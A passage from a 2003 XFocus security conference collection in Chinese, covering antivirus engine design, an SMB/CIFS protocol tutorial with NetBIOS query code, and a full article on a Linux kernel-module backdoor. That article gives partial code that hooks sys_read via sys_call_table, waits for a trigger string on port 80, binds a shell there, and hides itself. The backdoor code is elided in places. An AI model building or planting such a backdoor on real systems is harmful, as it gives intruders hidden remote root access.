的用于病毒描述数据结构。我们看看试图把上面两个病毒的检测,描述为一个规则,通过分析病毒体,我们

分别提取了 15 字节特征串作为检测病毒的依据。为了让当今的网络安全研究者容易理解,让我们借鉴一下 snort规则的风格。alert boot (msg”virus-Brain”; content:” |A1 13 04 2D 07 00 A3 13 04 B1 06 D3 E0 8E C0|”;)

alert boot (msg”virus-pingpong”; content:” |A1 13 04 2D 02 00 A3 13 04 B1 06 D3 E0 2D C0|”;)

不要被两个串的部分近似所迷惑,那不是我们需要的。我们关心的是如何做工程化的处理。试图在特征码的近似性上找到窍门只会让我们绕得更远。对于这种早期的,非变形的病毒来说,特征码匹配是绰绰有余的。对于这一类病毒,我们已经可以做归一化处理,只要我们设计一个内容匹配算法。这个算法是的时间复杂度应该是和记录条数呈非线性关系的,那就能保证我们的高速检测了。这样,我们就初步实现了把病毒引擎和数据库分离开来,我们可以把那些规则的

集合称为反病毒库了。但这样依然不够,查毒虽然有规律可以寻找,那么杀毒呢?如果杀毒也能找到一

定的规律,从而变成一种描述,那么对很多病毒的处理就变成了一个通用的处理引擎+处理参数。这样软件的规范性和可维护性就会进一步增强。我们知道,最理想的杀毒过程,是病毒感染的逆过程。除了少数病毒的感染是覆

盖式而不具备可逆性外,多数病毒的感染过程都是可逆的。因此我们可以简单的总结总结出这个逆过程中,具有共性的一些操作,

http://www.xfocus.org , http://www.xfocus.net 第 146页 共 218页

pingpong检测例程

有病毒

清除 pingpong病毒Y

Brain检测例程

N

Page 147: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

进程中止扇区读写(物理、逻辑)文件读写内存缓冲区中一段 2 进制数据的插入内存缓冲区中一段 2 进制数据的清除内存缓冲区中一段 2 进制数据替换……但也有观点认为,好的处理引擎,应该和文件读写方式无关,应该完全基于数据

的操作,这样才能实现直接的平台移植,比如工作于 linux服务器的反病毒程序,可以公用一套 2 进制库,而不需要任何改写。因此 I/O应该独立的一层,因此只要有一些数据处理的函数。我们可以进一步提炼总结,从而形成一组标准的模块,通过一组数据定义 作为操作指令,传递给这组标准模块,完成部分病毒的清除,当然对于那些复杂的病毒,还是需要独立的小模块处理。这样整体的结构化已经好了很多,稳定性,质量和可调试性都得到加强。假定以下是 3 种不同的感染MBR的病毒的响应参数。Respond:”M 0,0,7”Respond:”O”Respond:”R 0057”

第一组参数, Move 指令,表示对该种病毒处理,需要将 0 道 0头的第七扇区,搬回MBR的位置。第二组参数,Overwrite 指令,表示MBR可以直接用一个无毒的标准 MBR 代码区来重建,从而实现杀毒。第三组参数,Run 指令,表示该病毒比较复杂,需要执行一个独立的小杀毒模块,执行 0057号模块。当然,以上这些只是借助一些简单的病毒所举的的例子。用来描述反病毒引擎的产生过程,与现有的商用引擎相比,没有任何可比性。

第二节 解读商用引擎当今的商用反病毒引擎,基本上是针对文件对象、内存对象、引导扇区对象进行病毒扫

描的。让我们以一个简略化的文件检测流图,来看一看引擎的工作过程。

http://www.xfocus.org , http://www.xfocus.net 第 147页 共 218页

Page 148: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

让我们解读一下这个引擎模型:并作出一个说明:通过,类型检测模块对于文件类型进行判断,这是分类病毒的前提,对于包裹文件,

要进行解压缩处理,再将解压出来的文件重新交给类型检测模块处理,要考虑一个递归的解压缩模块,处理多重和混合压缩等问题。对于非包裹类型的对象,按照类型的不同,有几种不同的处理方式。对于,COM、MZ、NE和 PE的类型,要首先通过加壳检测,一个外壳检测模块,可以

发现类似 Com2exe、Pklite这些早期的可执行程序处理工具,和ASPACK、UPX等目前流行的 PE压缩工具。这个解压模块也是递归的,直到处理到不需要处理为止。最终教给 2 进制引擎检测来处理。需要说明的是,对于病毒的感染特性在病毒数据库中是有标志的,一般来说,检测 PE文件只会用所有 PE病毒的特征纪录,不会出现用引导型病毒的特征码去匹配一个 PE 程序的情况。对于文本类型文件,主要是进行脚本病毒检测,目前有 vbs、js、php、perl等多种类型的

http://www.xfocus.org , http://www.xfocus.net 第 148页 共 218页

Office 文件文本文件

语法分析压缩器

预处理器

脚本检测引擎 脚本库

2 进制可执行程序

有壳?脱壳模块

2 进制检测引擎

其他 2 进制程序

2 进制库

文件类型检测模块

入口

是包裹文件吗?解 压 缩模块

分类调用

Page 149: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

脚本病毒,这要交给语法分析压缩器去处理,语法分析压缩器的结果再交给检测引擎做匹配处理。

部分反病毒软件的宏病毒检测是交给脚本处理引擎完成的,通过 office预处理器提取出宏的 basic 源码,之后同样交给语法分析压缩器。但仔细分析,这个示例的流程就会发现很多问题:

1、比如自解压文件如何处理?其自身作为可执行程序由感染病毒的可能,而其包裹数

据中,仍然可能有压缩的病毒。2、 2 进制程序起点,但最终需要检测数据未必是 2 进制程序,比如一个批处理程序经过了如下的变化,bat2com、com2exe、pklite。最终还原出的是一个批处理文件,应该交给脚本引擎去检测。而文本起点,但最终的监测数据也未必一定是文本,比如有的病毒作者通过 bat文件去加载 2 进制可执行程序。他将可执行程序,变成 16 进制字符,通过 echo 将其输出到文本文件,再通过管道将其传递给 DEBUG,通过debug去加载执行。显然,如果能将这样的数据还原为 2 进制数据,检测就可靠的多。因此,两个流程实质出现了交叉,这说明,分类处理点设置的位置是有问题的。

3、 2 进制病毒的检测路径上依然是利用匹配的方式,那么对于变形、加密的病毒如何处理的问题并没有解决。其中还需要一个虚拟机的模块置于 2 进制检测引擎之前。同样的,在脚本检测的路径上,同样可能需要一个虚拟的脚本调试器。

4、异常处理问题,如解压缩失败如何处理、脱壳失败如何处理。5、反病毒处理的流程,应该是可干预、可定义的,是否扫描压缩包内部,是否扫描所有文件,都应该允许用户定义的。

如果一个反病毒引擎真的这样去实现,显然问题还会很多。因此,这只能作为一个形象化的说明,真正的去开发一个反病毒引擎,还需要更为全面细致地分析工作,和对病毒深入地了解、以及良好的技术前瞻力。

总结一下,商用反病毒引擎一般应该有以下模块:1、 文件类型检测模块。2、 解压缩模块。3、 脱壳模块。4、 office文件预处理模块。5、 脚本语法分析压缩模块: 6、 未知病毒检测模块。7、 特征匹配模块。

第三节 流派和工程化问题引擎与库的分离,并不是说两者是可以无关的,相反,如果我们打一个比方来描述的

话,引擎好比一种口径的枪管,而病毒库好比弹匣,反病毒记录如同子弹,你是不能用5.56的枪去打 7.62毫米的子弹的。反病毒引擎是围绕病毒数据定义方式来组织的。这种组织方式有深刻的历史演变色彩。从而形成了不同的流派或者风格。

当今,扫描引擎中,有不同的处理思路和技巧,以 AVP为代表的以效力优先,通过预制大量的脱壳器、解包器,实现极为彻底的检测。而以Norton等为代表的以效率优先,则更多地考虑扫描速度和降低系统地占用。两者孰优孰劣,目前还不能最后定论。而类似 F-Secure这种为了提高查杀能力双引擎反病毒软件也已经产生了多年。 http://www.xfocus.org , http://www.xfocus.net 第 149页 共 218页

Page 150: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

有些朋友认为,只要 crack了某个国外厂商的病毒库,用其特征码,不就可以自己做一个引擎,写一个查毒软件了么?其实,多数软件库中并没有特征码,而是存放一种形式的描述或者签名。如果不借助足够多的样本,根本就无法还原。更何况,这种描述,在一些反病毒软件中,是针对脱壳器或者虚拟机还原的后的内存结果,而并不是存在于静态的病毒体之上。对于这种数据组织,除非你连同人家的引擎一并拿来,否则并没有使用价值。实时上这种方式一方面可以缩短纪录的长度,减少反病毒软件的体积。另一方面,对于保护厂商的劳动和减少伪样本(fake)的出现,也有现实的意义。

反病毒引擎的出现是一个工程化结果,引擎与调度框架的独立,把病毒检测彻底从命令行参数、gui界面、目录树递归、实时监控等等中解放出来,变成一个通用的接口。反病毒引擎与反病毒软件调度框架的独立,以及反病毒引擎与病毒库的分离,都是反病毒发展的必然。 但我们希望工程化不是一时的解决方案,是科学化指导的工程化,我们引擎的规划是高屋建瓴的,能预留对未来的支持,不用频繁改动,不会因为一种异常的出现,来破坏引擎的规范化。

有一个鲜明的例子,可以说明,引擎设计时所需要的全面和谨慎,我们在 2000年曾经发现了MCAFEE Virus Scan引擎的一个严重 bug,当用户选择,扫描压缩包的时候,如果自解压文件自身可执行部分感染了病毒,不能被检测。这个 bug我们虽然提供给了 NAI办事处,但是长时间未得到响应,我们认为,也许这个问题早就被 NAI发现,但看上去一个很小的调整,将对整个引擎结构产生影响。

反病毒引擎的出现,是反病毒历史上的革命,他在泛科学化的空泛争论中挽救了反病毒的事业,并将其带入了工程化轨道。同时,于是我们不必关心每一个病毒的表象,不用自己冒充高手,去用Debug或者粗糙的工具去对抗病毒,我们尽可以享受实时监控给我们的透明保护,或者品位扫描器帮我们查杀病毒时的那种快感。

http://www.xfocus.org , http://www.xfocus.net 第 150页 共 218页

Page 151: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第七篇 Linux端口复用技术简述作者:noble_shi < [email protected] >时间:2002-12

第一节 涉及到的内容本文涉及到的内容有:内存管理、系统调用、进程调度、文件系统、socket内核结构、协

议栈的内核实现、ELF文件结构、ELF文件装载过程。

第二节 设计方案2.1 描述端口复用的概念是在系统已经开放的端口上进行通信,并且不影响系统的正常工作和

服务的正常运行。这样可以穿透防火墙。2.2 功能在端口复用的基础上进行连接、获得 SHELL、上下载文件、浏览目录、添加删除用户、改

变用户口令等。2.3 性能

只对输入的信息进行字符串匹配,不对网络数据进行任何拦截、复制类操作,所以网络数据的传输性能丝毫不受影响。建立连接后服务端程序占用极少系统资源,被控端不会在系统性能方面有任何察觉。2.4设计方案设计初期做过多项相关试验,试验结果如下:

1) 过滤驱动对 linux系统的网卡驱动进行过滤,这种技术设计到可安装内核模块技术、网卡驱

动原理和中断技术等,实现起来较为复杂,而且对内核版本要求较高,如果长期运行,还可能造成系统内核的不稳定。同时还设计到拆包、组包过程,如果要对大文件进行传输或要保证客户-服务器双方的可靠通信,要付出很大代价。

2) 过滤协议栈可以对 TCP/IP协议栈进行过滤,而且 linux系统也提供 6个内核钩子,支持对内

核的过滤。这样实现难度较小,造成系统不稳定的可能性比方案 1要小的多。不过同样设计到拆包、组包过程。

3) 过滤系统调用 http://www.xfocus.org , http://www.xfocus.net 第 151页 共 218页

Page 152: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

这种方法是典型的 LKMs 后门程序的实现原理,对用于网络通信的系统调用进行过滤。这种方法不用深入协议栈,实现起来简洁有效,后面有详细介绍。

4) 直接构造 sock 结构在内核直接构造 sock和 socket的内核结构以及相关的内核结构(socket 结构包含

在 inode 结构里,并且 sock 结构和 socket 结构相互指向对方)。当然,在 sock 结构中,要将 sock.daddr设置为远端主机的 IP地址,将 sock.dport

设置为远端主机的端口号,将 sock.sport设置为我们要求复用的端口号。这样,当 TCP或 UDP层向应用层提交远端主机发送的数据时,会在内核中搜索到我们构造的 sock结构(因为只有这个结构中含有远端主机的 IP地址和端口号,可以和本地的插口组成了一个 socket对),并将 TCP/UDP层的报文提交给我们构造的 sock 结构的输入数据缓冲区队列 sock->receive_queue。如果我们要发送数据,则需要重新构造 sk_buff 结构(其内部还有我们要发送的数据),并将其挂到我们构造的 sock 结构的输出数据缓冲区队列 sock->write_queue,同时调用 TCP/UDP的输出例程。当然,也可以把这个 sock 结构对应的描述符传递到用户空间使用,这样可以减少

部分工作。5) 修改 sock 结构

先在用户空间任意创建一个处于连接状态的 socket对,然后修改内核的 sock 结构,使其 sock 结构中 sock.daddr为我们的 IP地址,sock.dport为我们的端口号,sock.sport为我们要求复用的端口。这样,就相当于和远端主机建立了一个正常的 TCP或UDP 连接。这种方法不用我们自己构造 sock 结构,只需修改已有的 sock 结构,减少了工作量。

6) UNIX 编程中的其他技术在用户空间调用访问协议栈的函数,如 BPF、SOCK_PACKET类型的套节口 、

libcap 抓包库、DLPI等,这样在应用层就可以实现对协议栈的过滤。这样技术不用深入内核,稳定性好。不过这种技术也大多也难逃重新组包之嫌。

7) 运行期间感染技术这种方法需要深入到已经运行服务程序的进程空间内部,如采用运行期间共享库

注射技术,通过共享其 file 结构,增加引用记数,来共享其 dentry,inode,sock,socket等结构。这种方法是在应用层设计的,对内核版本要求不高,不过如果对 80等非超级用户

运行的进程所开的端口进行复用时,所获得的权限也是普通用户权限,不能满足普遍需求。同时也很难实现对任意端口进行复用。这种技术已经实现,限于篇幅,这里不作介绍。

8)感染 ELF静态文件这种技术是的基本原理是在原来的 ELF文件中插入自己的二进制代码,从而达到

修改源文件的目的。这是在应用层进行实现的,相对来说比较稳定。缺点是采用了病毒技术,利用

linux自带的一些工具(如 objdump)可以发现。这种技术已经实现,限于篇幅,这里不作介绍。

2.5 最终方案经过大量试验对比分析,发现通过过滤系统调用实现端口复用是比较切合实际的

方案。和 LKMs的其他技术相结合,效果更加理想。

http://www.xfocus.org , http://www.xfocus.net 第 152页 共 218页

Page 153: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第三节 通过过滤系统调用实现端口复用3.1 基础知识介绍

1)首先对 kernle_thread()进行分析。这个函数的作用的启动一个内核线程,并执行一个内核函数。该函数由汇编语言编

写,有关AT&T的汇编语言这里不作介绍。其代码定义在 arch/i386/kernel/process.c中:int kernel_thread (int (*fn)(void *), void * arg, unsigned long flags){

long retval, d0;

__asm__ __volatile__("movl %%esp,%%esi\n\t""int $0x80\n\t" /* Linux/i386 system call */"cmpl %%esp,%%esi\n\t" /* child or parent? */"je 1f\n\t" /* parent - jump *//* Load the argument into eax, and push it. That way, it does * not matter whether the called function is compiled with * -mregparm or not. */"movl %4,%%eax\n\t""pushl %%eax\n\t""call *%5\n\t" /* call fn */"movl %3,%0\n\t" /* exit */"int $0x80\n""1:\t":"=&a" (retval), "=&S" (d0):"0" (__NR_clone), "i" (__NR_exit), "r" (arg), "r" (fn), "b" (flags | CLONE_VM): "memory");

return retval;}

第 7 行的指令“int $0x80”就是系统调用。那么系统调用号在那里设置的呢?请看第 19 行的输出部,这里寄存器 EAX 与变量 retval 相结合作为%0,而在第 20 行时寄存器 EAX已经被设置成__NR_clone,即 clone()的系统调用号。从 clone()返回以后,这里采用了一种不同的方法区分父进程与子进程,就是将返回时的堆栈指针与保存在寄存器 ESI中的父进程的堆栈指针进行了比较。由于每一个内核线程都有自己的系统空间堆栈,子线程的堆栈指针必然与父线程不同。那么,为什么不像 fork()返回时所用的方法呢?这是因为 clone()所产生的子线程可以具有父线程相同的 pid,如果 pid为 0的内核线程再 clone()一个子线程,则子线程的 pid就也可以是 0。所以,这里采用了比较堆栈指针的方法,是更可靠的。利用这个函数,可以在内核运行我们的函数,进而运行用户空间的进程,下面我

http://www.xfocus.org , http://www.xfocus.net 第 153页 共 218页

12345678910111213141516171819202122232425

Page 154: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

们会用到。2)对 execve()系统调用进行分析。由于其源码较长,这里只描述其执行过程,如下:a) 拷贝用户空间的数据到内核,相应的函数是 getname()。b) 调用函数 do_execve(),这是系统调用 execve()的主体函数。下面对函数 do_execve()进行分析:a)调用 open_exec()返回一个 file 结构。b)内核为可执行程序的装入定义一个数据结构 struct linux_binprm。c)将文件的前 128 字节读到 linux_binprm的 buf中。d)参数和环境变量从用户空间拷贝到 linux_binprm 结构中。e)装载运行;过程是用 formates队列中的每个成员尝试运行这个文件。注:在系统里有个 formats队列,是 linux_binfmt 结构,挂在这个队列中的成员是代表

着各个可执行文件格式的“代理人”,每个成员只认识并且处理一种特定格式的可执行文件的运行。

3)对 ELF文件的装载函数进行分析。ELF文件在 formates队列中相应的装载函数是:load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs);在该函数中,对从父进程保留过来的一些数据结构进行了处理,如:mm_struct 结构、files_struct 结构、fs_struct 结构、k_sigaction 结构等,其中我们关心

的是对 files_struct 结构的处理,相应的处理函数是:static inline void flush_old_files(struct files_struct * files)

其代码定义在 fs/exec.c中:static inline void flush_old_files(struct files_struct * files){long j = -1;

write_lock(&files->file_lock);for (;;) {

unsigned long set, i;

j++;i = j * __NFDBITS;if (i >= files->max_fds || i >= files->max_fdset)

break;set = files->close_on_exec->fds_bits[j];if (!set)

continue;files->close_on_exec->fds_bits[j] = 0;write_unlock(&files->file_lock);for ( ; set ; i++,set >>= 1) {

http://www.xfocus.org , http://www.xfocus.net 第 154页 共 218页

Page 155: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

if (set & 1) {sys_close(i);

}}write_lock(&files->file_lock);

}write_unlock(&files->file_lock);

}

其参数 files的类型 files_struct定义在 include/linux/sched.h中:struct files_struct {

atomic_t count;rwlock_t file_lock; /* Protects all the below members. Nests inside tsk-

>alloc_lock */int max_fds;int max_fdset;int next_fd;struct file ** fd; /* current fd array */fd_set *close_on_exec;fd_set *open_fds;fd_set close_on_exec_init;fd_set open_fds_init;struct file * fd_array[NR_OPEN_DEFAULT];

};

结构 fd_set定义在 include/linux/type.h中:typedef __kernel_fd_set fd_set;

结构 kernel_fd_set定义在 include/linux/posix_types.h中: #undef __NFDBITS

#define __NFDBITS (8 * sizeof(unsigned long)) // equal 32

#undef __FD_SETSIZE#define __FD_SETSIZE 1024

#undef __FDSET_LONGS#define __FDSET_LONGS (__FD_SETSIZE/__NFDBITS) // equal 32……typedef struct {unsigned long fds_bits [__FDSET_LONGS];

} __kernel_fd_set;

在进程的 task_struct 结构中有个指向一个 files_struct 结构的指针 file,所指向的数 http://www.xfocus.org , http://www.xfocus.net 第 155页 共 218页

Page 156: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

据 结 构 files_struct 中保 存 着已打 开文件的信息。在 files_struct 结 构中有个位图close_on_exec,如果相应位被清 0,表示如果当前进程通过 execve()系统调用执行一个可执行程序的话无需将这个文件关闭。而如果 open_fds所指向的位图中的相应位为 1,则表示该位所对应的文件描述符已不再空闲,这个位图代表着已经在使用中的打开文件号。

flush_old_files()要做的就是将位图 close_on_exec中相应位不为 0的文件关闭,并且将位图中相应位清 0。

3.2 程序实现我们以对端口 80的 TCP 连接进行复用为例,对程序进行说明。1)深入内核,截获系统调用 read(int fd, void *buf, size_t count)。2)如果发现特征字符串(如”abcdefg”)就在内核启动我们的函数。

代码如下:#define PORT 80#define MAX_BUF 1024

ssize (*orig_read) (int fd, char *buf, size_t count);

ssize_t new_read(int fd, void *buf, size_t count){

ssize ret;char passwd = “abcdefg”;char kbuf[MAX_BUF];struct file *file;

……ret = old_read(fd, buf, count);bzero(kbuf, MAX_BUF);__generic_copy_from_user(kbuf, buf, ret);if( memcmp(kbuf, passwd, strlen(passwd)) == 0 ){

file = fget(fd);if(file->f_dentry->inode->sk.sport == PORT)

kernel_thread(exe_func, fd, flags);fput(file);

}……return ret;

}

int init_module(void){

……orig_read = sys_call_table[SYS_read];sys_call_table[SYS_read] = new_read;

http://www.xfocus.org , http://www.xfocus.net 第 156页 共 218页

Page 157: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

……}

void cleanup_module(void){

……sys_call_table[SYS_read] = orig_read;……

}

如前所述,kernel_thread()实际是调用 clone,这样,如果调用参数 flags为 0,则表示要复制(而不是指针共享)其内核结构,这些内核结构包括:mm_struct 结构 、files_struct 结构、fs_struct 结构、k_sigaction 结构。当然我们最关心的是 files_struct 结构,其相应的标志位是 CLONE_FILES。由于我们在要改变 fs_struct 结构中的两个位图:close_on_exec和 open_fds,为了不

影响父进程的正常运行,需要把该位设置为 0。3)我们的内核函数 exe_func()如下:

#define MAX_ARG 32static int exe_func(int fd){

char arg[MAX_ARG];

bzero(arg, MAX_ARG);my_itoa(fd, arg);clr_fd( fd );set_fs(KERNEL_DS);ret = execve(my_program, arg, 0);if(ret < 0)

return -1;

return 0;}

函数 my_itoa()的作用是将数字转换成相应的字符串,相应函数略。函数 clr_fd()的作用是对 task_struct-> file-> close_on_exec中的相应为清 0。函数 set_fs()的作用是将用户空间范围设置为 0-4G。这样,如前所述,当我们调用 execve()执行我们用户空间的程序 my_program时,

文件描述符 fd对应的文件就不会被关闭。4)函数 clr_fd()的功能是对位图 close_on_exec的相应位进行清 0。

其代码如下:#define FD_SET(fd,fdsetp) \

http://www.xfocus.org , http://www.xfocus.net 第 157页 共 218页

Page 158: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

__asm__ __volatile__("btsl %1,%0": \"=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))

#define FD_CLR(fd,fdsetp) \__asm__ __volatile__("btrl %1,%0": \

"=m" (*(__kernel_fd_set *) (fdsetp)):"r" ((int) (fd)))

void clr_fd(fd){

struct file *file;

file = fget(fd);FD_SET(fd, file->open_fds);FD_CLR(fd, file->close_on_exec);fput(file);

return;}

注:汇编语句 btrl的作用是对操作数的一个位进行清除。btrs的作用是对操作数的一位置 1。5)我们的用户空间程序如下:

/* my_program */#include <stdio.h>……int main(int argc, char *argv[]){

int fd = atoi(argv[1]);……

}

这样,在我们的用户空间就可以用端口 80所对应的文件描述符 fd 进行通信了。即可以对用户输入的命令进行解释,又可以在 80端口绑定 shell,还可以利用 80端口进行文件的上传、下载。

3.3 小结这种方法是内核和应用层相结合的一种端口复用方法,工作在 TCP层以上,由内

核维护整个 TCP 连接,双方通信稳定可靠。同时还可以结合 LKMs的隐藏机制,做到隐藏文件、目录、进程、端口以及安装的

模块等,使被控主机很难发现被安装的后门。由于是基于内核做工作,所以可以复用系统的任意端口,并且具有超级用户权限。

http://www.xfocus.org , http://www.xfocus.net 第 158页 共 218页

Page 159: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第四节 参考资料《linux内核源代码情景分析》上、下册《linux IP协议栈源代码分析》《TCP/IP协议详解 II》

http://www.xfocus.org , http://www.xfocus.net 第 159页 共 218页

Page 160: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第八篇 应用 SMB/CIFS协议作者:ilsy < [email protected] >时间:2002-12

第一节 本文的目的 Microsoft公开了 CIFS协议的所有细节,这使得我们可以了解这个协议并且编写基于这个协议的应用程序。SMB/CIFS协议在Windows系统中的被广泛的应用,这要求我们对这个协议应该有所了解,下面文字就我的一点实际经验与大家进行交流,如果有错误的地方,真诚的希望得到大家的指正,我的 Email:[email protected]

第二节 什么是 SMB/CIFS协议? CIFS(Common Internet File System)是开放的跨平台的,其实现是基于 SMB(Server Message Block)协议的,使用户可以使用这个协议方便的向支持 SMB协议的网络服务器请求文件和打印服务。 在不同的操作系统上,都有相应的 SMB协议的实现,包括我们知道的 Samba、Windows的不同版本等,而应用 CIFS协议都可以与其通讯,CIFS是一个开放的 SMB版本。可以从http://msdn.microsoft.com/downloads/default.asp?url=/downloads/sample.asp?url=/msdn-files/027/001/902/msdncompositedoc.xml下载 CIFS 详细的说明文档或者看最新的 Platform SDK文档。 在所有的 SMB 数据报中都会包含下面的数据头: typedef unsigned char UCHAR; // 8 unsigned bits typedef unsigned short USHORT; // 16 unsigned bits typedef unsigned long ULONG; // 32 unsigned bits

typedef struct { ULONG LowPart; LONG HighPart; } LARGE_INTEGER; // 64 bits of data

// 结构根据不同的 SMB请求会有不同的变化 typedef struct { UCHAR Protocol[4]; // 协议的名字'SMB', 前面放一个 0xFF UCHAR Command; // 请求的命令类型 http://www.xfocus.org , http://www.xfocus.net 第 160页 共 218页

Page 161: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

union { struct { UCHAR ErrorClass; // Error class UCHAR Reserved; // Reserved for future use USHORT Error; // Error code } DosError; ULONG Status; // 32-bit 错误代码 } Status; UCHAR Flags; // 标记 USHORT Flags2; // 扩展标记 union { USHORT Pad[6]; // Ensure section is 12 bytes long struct { USHORT PidHigh; // High part of PID UCHAR SecuritySignature[8]; // reserved for security } Extra; }; USHORT Tid; // Tree 标识, 用来识别资源 USHORT Pid; // Caller's process id USHORT Uid; // 用来识别用户 USHORT Mid; // multiplex id UCHAR WordCount; // Count of parameter words USHORT ParameterWords[ WordCount ]; // The parameter words USHORT ByteCount; // Count of bytes UCHAR Buffer[ ByteCount ]; // The bytes } SMB_HEADER; 而每一个 SMB 数据报都会包含这样的一个NetBIOS会话头: // NBT_HEADER 结构 typedef struct { struct { u_char packetType; // 数据报类型,在使用 SMB 数据报时,这个字段的值是0x00 u_char packetFlags; // 这个字段总是为 0x00 u_short packetLen; // 在 SMB 数据报中,为 SMB 数据报的总长度,但不包含这个结构的长度 } s; } NBT_HEADER; 实际上,一个 SMB 数据报是这样构成的: NBT Header + SMB Header + SMB Command Header + SMB Data

http://www.xfocus.org , http://www.xfocus.net 第 161页 共 218页

Page 162: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第三节 建立一个空会话

SMB可以运行在 TCP/IP等协议之上,如在我们常用的系统 Windows系列操作系统上,如果要在 TCP/IP上使用 SMB协议,那么,你需要支持 NetBIOS名字的传输。NETBIOS名字用来在网络上鉴别一台提供 SMB服务计算机,使用 SMB协议前,首先应该用 NetBIOS名字去鉴别一台提供 SMB服务的计算机。 我们可以用下面的代码去取得一台计算机的NetBios名字: #include <stdio.h> #include <stdlib.h> #include <windows.h>

#define xmalloc(s) (char *)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) // 分配内存 #define xfree(p) (char *)HeapFree (GetProcessHeap(),0,(p)) // 释放内存 // NBT_NAME_HEADER 结构 typedef struct {

USHORT ID;USHORT Flags;USHORT Questions;USHORT Answer;USHORT Authority;USHORT Additional;

}NBT_NAME_HEADER;

// NBT_NAME_ANSWER 结构 typedef struct {

char Name_[34];USHORT Type;

USHORT Class;ULONG TTL;USHORT DataLen;UCHAR Number;char Name[16];

}NBT_NAME_ANSWER;

// NetBIOS名字查询字符串 unsigned char NetBiosQuery[] = "\x20\x43\x4B\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x00\x00\x21\x00\x01";

http://www.xfocus.org , http://www.xfocus.net 第 162页 共 218页

Page 163: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

int GET_NetBiosName(char * IpAddress, char * szNetBiosName, int timeout) { SOCKET csock; NBT_NAME_HEADER NbtNameHeader; NBT_NAME_ANSWER NbtNameAnswer; struct sockaddr_in dest, from; int fromlen = sizeof(from); int iRet,iTimeout; char * SendBuf;

csock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); if(csock == SOCKET_ERROR)return NULL; // 建立UDP端口,查询一台计算机的NetBIOS名字要通过UDP的 137端口查询 iTimeout = timeout; iRet = setsockopt(csock,SOL_SOCKET,SO_SNDTIMEO,(char*)&iTimeout,sizeof(iTimeout)); if(csock == SOCKET_ERROR) { closesocket(csock); return 1; }

